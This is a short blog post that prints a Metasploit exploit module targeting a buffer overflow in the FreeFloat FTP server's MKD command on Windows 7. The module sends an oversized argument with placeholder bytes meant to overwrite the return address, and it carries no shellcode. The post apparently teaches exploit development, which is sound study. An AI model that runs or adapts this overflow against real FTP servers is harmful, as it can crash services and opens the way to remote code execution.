Exploit example

root@linux:~# more /root/.msf4/modules/exploits/windows/ftp/FreeFloatMKDoverflow.rb
require ‘msf/core’

class MetasploitModule < Msf::Exploit::Remote

include Msf::Exploit::Remote::Ftp

def initialize(info = {})

super(update_info(info,

‘Name’ => ‘FloatFTP MKD overflow’,

‘Description’ => ‘MSF exploit module’,

‘Author’ => [ ‘Name Surname’],

‘Version’ => ‘$Revision: 1 $’,

‘Platform’ => [‘win’],

‘Targets’ => [ [ ‘Windows 7 Professional x64 SP1’, { } ],],

‘DefaultTarget’ => 0,

‘License’ => GPL_LICENSE

))

end

def exploit

puts “My Metasploit module!”

connect_login

bad = “A” * 247 + “BBBB” + “C” * 500

send_cmd( [‘MKD’, bad] , false )

disconnect

end

end

This entry was posted in applications, security. Bookmark the permalink. Both comments and trackbacks are currently closed.